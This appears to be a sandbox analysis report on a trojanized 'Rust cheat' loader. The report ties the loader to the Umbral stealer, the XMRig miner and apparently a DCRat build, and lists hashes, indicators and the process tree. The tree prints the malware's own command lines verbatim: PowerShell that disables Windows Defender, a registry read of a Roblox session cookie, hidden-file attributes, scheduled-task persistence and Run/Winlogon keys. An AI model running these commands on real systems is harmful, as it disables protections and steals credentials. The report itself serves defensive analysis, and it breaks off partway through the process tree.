umbral | aebdb5d4472f019df13190b233c6dd89050b7f473c0828c97c16f060e458b573

Analysis

max time kernel
22s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23-07-2024 12:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

LoaderAlkadRustCheat.exe
Size

64.1MB
MD5

73ffcfac6161cd6c7a8b1d001a0aaaf4
SHA1

be16bed3401bd838c4b85a47ae184d4a08a28fe3
SHA256

aebdb5d4472f019df13190b233c6dd89050b7f473c0828c97c16f060e458b573
SHA512

5d5677aeab8bdb9d908a7dafbd7424912cc3f28a2e90d2b39929aec8153a87820f67d13389c6d8cb2e2661735df74d1b7c4f27812e871555717f3922b195e4ca
SSDEEP

786432:8yrqMu/IZ53ufBoglmM/zxhkAw7BwNLmf7CfuBqFiKKL+XNnwlHAsdwelhFVWQuO:NIWtgf7sAEZ7CHSi5s1DCQ6XEeO

Score

10^/10

umbral xmrig execution miner persistence spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a0000000234cf-6.dat	family_umbral
behavioral2/memory/1872-14-0x000001A9907B0000-0x000001A9907F0000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 6 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\ProviderDriverRef\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Program Files\\Windows Portable Devices\\RuntimeBroker.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\ProviderDriverRef\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Program Files\\Windows Portable Devices\\RuntimeBroker.exe\", \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1031\\sihost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\ProviderDriverRef\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\", \"C:\\Program Files\\Windows Portable Devices\\RuntimeBroker.exe\", \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1031\\sihost.exe\", \"C:\\ProviderDriverRef\\providerIntoCrtcommon.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\ProviderDriverRef\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\ProviderDriverRef\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\ProviderDriverRef\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\conhost.exe\", \"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	providerIntoCrtcommon.exe

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	444	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4896	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4568	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4348	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3576	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	368	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4836	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3396	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2884	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4300	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	228	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	724	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1520	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	344	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2684	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2952	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4288	4184	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	676	4184	schtasks.exe	95

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 18 IoCs

miner

resource	yara_rule
behavioral2/memory/2144-342-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2144-340-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-346-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2144-352-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2144-351-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-358-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-356-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-354-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2144-349-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-357-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-355-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2144-353-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2144-350-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-366-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/2144-372-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-436-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-437-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4012-438-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2952	powershell.exe
4344	powershell.exe
4560	powershell.exe
3360	powershell.exe
3192	powershell.exe
1964	powershell.exe
5032	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	providerIntoCrtcommon.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	PortContainercomponentsavesdll.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	LoaderAlkadRustCheat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 9 IoCs

pid	Process
1872	Umbral.exe
3804	loader.exe
724	DCRatBuild.exe
1988	1.exe
4608	Extreme Injector v3.exe
2580	1.exe
5088	DCRatBuild.exe
1008	providerIntoCrtcommon.exe
3636	PortContainercomponentsavesdll.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1031\\sihost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\providerIntoCrtcommon = "\"C:\\ProviderDriverRef\\providerIntoCrtcommon.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\ProviderDriverRef\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\ProviderDriverRef\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Recovery\\WindowsRE\\backgroundTaskHost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Portable Devices\\RuntimeBroker.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Recovery\\WindowsRE\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Recovery\\WindowsRE\\conhost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Portable Devices\\RuntimeBroker.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\1031\\sihost.exe\""	providerIntoCrtcommon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\providerIntoCrtcommon = "\"C:\\ProviderDriverRef\\providerIntoCrtcommon.exe\""	providerIntoCrtcommon.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	raw.githubusercontent.com
31	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	\??\c:\Windows\System32\CSCA1CC147F7DB748CCBB1FD357EE56A76.TMP	csc.exe
File created	\??\c:\Windows\System32\zjwwup.exe	csc.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Portable Devices\9e8d7a4ca61bd9	providerIntoCrtcommon.exe
File created	C:\Program Files\Windows Portable Devices\RuntimeBroker.exe	providerIntoCrtcommon.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\1031\sihost.exe	providerIntoCrtcommon.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework\v4.0.30319\1031\sihost.exe	providerIntoCrtcommon.exe
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\1031\66fc9ff0ee96c2	providerIntoCrtcommon.exe
File created	C:\Windows\WinSxS\amd64_system.web.resources_b03f5f7f11d50a3a_4.0.15805.0_es-es_da8a031084963dd6\lsass.exe	PortContainercomponentsavesdll.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3312	wmic.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings	DCRatBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings	DCRatBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings	providerIntoCrtcommon.exe
Key created	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000_Classes\Local Settings	PortContainercomponentsavesdll.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
580	PING.EXE
1100	PING.EXE
4384	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4836	schtasks.exe
3396	schtasks.exe
4300	schtasks.exe
368	schtasks.exe
4348	schtasks.exe
228	schtasks.exe
676	schtasks.exe
1988	schtasks.exe
2884	schtasks.exe
724	schtasks.exe
1520	schtasks.exe
2952	schtasks.exe
4288	schtasks.exe
4896	schtasks.exe
444	schtasks.exe
4568	schtasks.exe
3576	schtasks.exe
344	schtasks.exe
2684	schtasks.exe
3764	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1872	Umbral.exe
1440	conhost.exe
1440	conhost.exe
2952	powershell.exe
2952	powershell.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
220	conhost.exe
220	conhost.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
1008	providerIntoCrtcommon.exe
2952	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1872	Umbral.exe
Token: SeIncreaseQuotaPrivilege	2656	wmic.exe
Token: SeSecurityPrivilege	2656	wmic.exe
Token: SeTakeOwnershipPrivilege	2656	wmic.exe
Token: SeLoadDriverPrivilege	2656	wmic.exe
Token: SeSystemProfilePrivilege	2656	wmic.exe
Token: SeSystemtimePrivilege	2656	wmic.exe
Token: SeProfSingleProcessPrivilege	2656	wmic.exe
Token: SeIncBasePriorityPrivilege	2656	wmic.exe
Token: SeCreatePagefilePrivilege	2656	wmic.exe
Token: SeBackupPrivilege	2656	wmic.exe
Token: SeRestorePrivilege	2656	wmic.exe
Token: SeShutdownPrivilege	2656	wmic.exe
Token: SeDebugPrivilege	2656	wmic.exe
Token: SeSystemEnvironmentPrivilege	2656	wmic.exe
Token: SeRemoteShutdownPrivilege	2656	wmic.exe
Token: SeUndockPrivilege	2656	wmic.exe
Token: SeManageVolumePrivilege	2656	wmic.exe
Token: 33	2656	wmic.exe
Token: 34	2656	wmic.exe
Token: 35	2656	wmic.exe
Token: 36	2656	wmic.exe
Token: SeIncreaseQuotaPrivilege	2656	wmic.exe
Token: SeSecurityPrivilege	2656	wmic.exe
Token: SeTakeOwnershipPrivilege	2656	wmic.exe
Token: SeLoadDriverPrivilege	2656	wmic.exe
Token: SeSystemProfilePrivilege	2656	wmic.exe
Token: SeSystemtimePrivilege	2656	wmic.exe
Token: SeProfSingleProcessPrivilege	2656	wmic.exe
Token: SeIncBasePriorityPrivilege	2656	wmic.exe
Token: SeCreatePagefilePrivilege	2656	wmic.exe
Token: SeBackupPrivilege	2656	wmic.exe
Token: SeRestorePrivilege	2656	wmic.exe
Token: SeShutdownPrivilege	2656	wmic.exe
Token: SeDebugPrivilege	2656	wmic.exe
Token: SeSystemEnvironmentPrivilege	2656	wmic.exe
Token: SeRemoteShutdownPrivilege	2656	wmic.exe
Token: SeUndockPrivilege	2656	wmic.exe
Token: SeManageVolumePrivilege	2656	wmic.exe
Token: 33	2656	wmic.exe
Token: 34	2656	wmic.exe
Token: 35	2656	wmic.exe
Token: 36	2656	wmic.exe
Token: SeDebugPrivilege	4608	Extreme Injector v3.exe
Token: 33	4608	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	4608	Extreme Injector v3.exe
Token: SeDebugPrivilege	4608	Extreme Injector v3.exe
Token: SeDebugPrivilege	1440	conhost.exe
Token: SeDebugPrivilege	1008	providerIntoCrtcommon.exe
Token: 33	4608	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	4608	Extreme Injector v3.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: 33	4608	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	4608	Extreme Injector v3.exe
Token: SeDebugPrivilege	220	conhost.exe
Token: 33	4608	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	4608	Extreme Injector v3.exe
Token: 33	4608	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	4608	Extreme Injector v3.exe
Token: SeDebugPrivilege	3600	powershell.exe
Token: SeDebugPrivilege	3636	PortContainercomponentsavesdll.exe
Token: 33	4608	Extreme Injector v3.exe
Token: SeIncBasePriorityPrivilege	4608	Extreme Injector v3.exe
Token: 33	4608	Extreme Injector v3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 1872	1100	LoaderAlkadRustCheat.exe	87
PID 1100 wrote to memory of 1872	1100	LoaderAlkadRustCheat.exe	87
PID 1100 wrote to memory of 3804	1100	LoaderAlkadRustCheat.exe	88
PID 1100 wrote to memory of 3804	1100	LoaderAlkadRustCheat.exe	88
PID 1872 wrote to memory of 2656	1872	Umbral.exe	89
PID 1872 wrote to memory of 2656	1872	Umbral.exe	89
PID 1100 wrote to memory of 724	1100	LoaderAlkadRustCheat.exe	140
PID 1100 wrote to memory of 724	1100	LoaderAlkadRustCheat.exe	140
PID 1100 wrote to memory of 724	1100	LoaderAlkadRustCheat.exe	140
PID 1100 wrote to memory of 1988	1100	LoaderAlkadRustCheat.exe	124
PID 1100 wrote to memory of 1988	1100	LoaderAlkadRustCheat.exe	124
PID 724 wrote to memory of 2444	724	DCRatBuild.exe	96
PID 724 wrote to memory of 2444	724	DCRatBuild.exe	96
PID 724 wrote to memory of 2444	724	DCRatBuild.exe	96
PID 1988 wrote to memory of 1440	1988	1.exe	98
PID 1988 wrote to memory of 1440	1988	1.exe	98
PID 1988 wrote to memory of 1440	1988	1.exe	98
PID 2444 wrote to memory of 4508	2444	WScript.exe	99
PID 2444 wrote to memory of 4508	2444	WScript.exe	99
PID 2444 wrote to memory of 4508	2444	WScript.exe	99
PID 3804 wrote to memory of 4608	3804	loader.exe	101
PID 3804 wrote to memory of 4608	3804	loader.exe	101
PID 1872 wrote to memory of 4068	1872	Umbral.exe	102
PID 1872 wrote to memory of 4068	1872	Umbral.exe	102
PID 3804 wrote to memory of 2580	3804	loader.exe	104
PID 3804 wrote to memory of 2580	3804	loader.exe	104
PID 3804 wrote to memory of 5088	3804	loader.exe	105
PID 3804 wrote to memory of 5088	3804	loader.exe	105
PID 3804 wrote to memory of 5088	3804	loader.exe	105
PID 4508 wrote to memory of 1008	4508	cmd.exe	106
PID 4508 wrote to memory of 1008	4508	cmd.exe	106
PID 1872 wrote to memory of 2952	1872	Umbral.exe	144
PID 1872 wrote to memory of 2952	1872	Umbral.exe	144
PID 5088 wrote to memory of 1564	5088	DCRatBuild.exe	108
PID 5088 wrote to memory of 1564	5088	DCRatBuild.exe	108
PID 5088 wrote to memory of 1564	5088	DCRatBuild.exe	108
PID 2580 wrote to memory of 220	2580	1.exe	110
PID 2580 wrote to memory of 220	2580	1.exe	110
PID 2580 wrote to memory of 220	2580	1.exe	110
PID 1440 wrote to memory of 4164	1440	conhost.exe	111
PID 1440 wrote to memory of 4164	1440	conhost.exe	111
PID 4164 wrote to memory of 3764	4164	cmd.exe	113
PID 4164 wrote to memory of 3764	4164	cmd.exe	113
PID 220 wrote to memory of 4820	220	conhost.exe	116
PID 220 wrote to memory of 4820	220	conhost.exe	116
PID 1008 wrote to memory of 4140	1008	providerIntoCrtcommon.exe	174
PID 1008 wrote to memory of 4140	1008	providerIntoCrtcommon.exe	174
PID 1564 wrote to memory of 2500	1564	WScript.exe	121
PID 1564 wrote to memory of 2500	1564	WScript.exe	121
PID 1564 wrote to memory of 2500	1564	WScript.exe	121
PID 4820 wrote to memory of 1988	4820	cmd.exe	124
PID 4820 wrote to memory of 1988	4820	cmd.exe	124
PID 1872 wrote to memory of 3600	1872	Umbral.exe	126
PID 1872 wrote to memory of 3600	1872	Umbral.exe	126
PID 2500 wrote to memory of 3636	2500	cmd.exe	128
PID 2500 wrote to memory of 3636	2500	cmd.exe	128
PID 4140 wrote to memory of 1964	4140	csc.exe	148
PID 4140 wrote to memory of 1964	4140	csc.exe	148
PID 1872 wrote to memory of 2168	1872	Umbral.exe	137
PID 1872 wrote to memory of 2168	1872	Umbral.exe	137
PID 1008 wrote to memory of 5032	1008	providerIntoCrtcommon.exe	147
PID 1008 wrote to memory of 5032	1008	providerIntoCrtcommon.exe	147
PID 1008 wrote to memory of 1964	1008	providerIntoCrtcommon.exe	148
PID 1008 wrote to memory of 1964	1008	providerIntoCrtcommon.exe	148

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4068	attrib.exe

C:\Users\Admin\AppData\Local\Temp\LoaderAlkadRustCheat.exe
"C:\Users\Admin\AppData\Local\Temp\LoaderAlkadRustCheat.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:4068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:2168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:2748
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:2584
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:3224
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:4140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    PID:2984
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3312
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    PID:3368
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:4384
- C:\Users\Admin\AppData\Local\Temp\loader.exe
  "C:\Users\Admin\AppData\Local\Temp\loader.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3804
- - C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe
    "C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4608
- - C:\Users\Admin\AppData\Local\Temp\1.exe
    "C:\Users\Admin\AppData\Local\Temp\1.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:220
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4820
      - C:\Windows\system32\schtasks.exe
        
